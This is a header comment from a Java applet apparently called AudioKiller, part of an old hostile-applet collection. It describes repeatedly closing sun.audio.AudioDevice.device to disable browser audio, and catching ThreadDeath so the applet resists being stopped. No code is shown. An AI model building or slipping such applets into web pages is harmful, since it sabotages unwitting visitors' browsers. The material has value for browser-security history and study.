/*  AudioKiller repeatedly closes sun.audio.AudioDevice.device and thereby
    prevents all applets from playing audio clips.  This will frequently
    cause the Audio Player tp exit, which completely disables audio in
    Java.   Note that although it was developed on the basis of Netscape's
    Communicator 4.04 classes, it works just as well for Microsoft's
    Internet Explorer.  The applet defends itself from ThreadDeath, so
    it's not so easily stopped.  Thus it essentially forces its will on
    hapless browsers.  In order to compile the applet, you will need to
    make sure that the Communicator's classes are in your CLASSPATH.*/
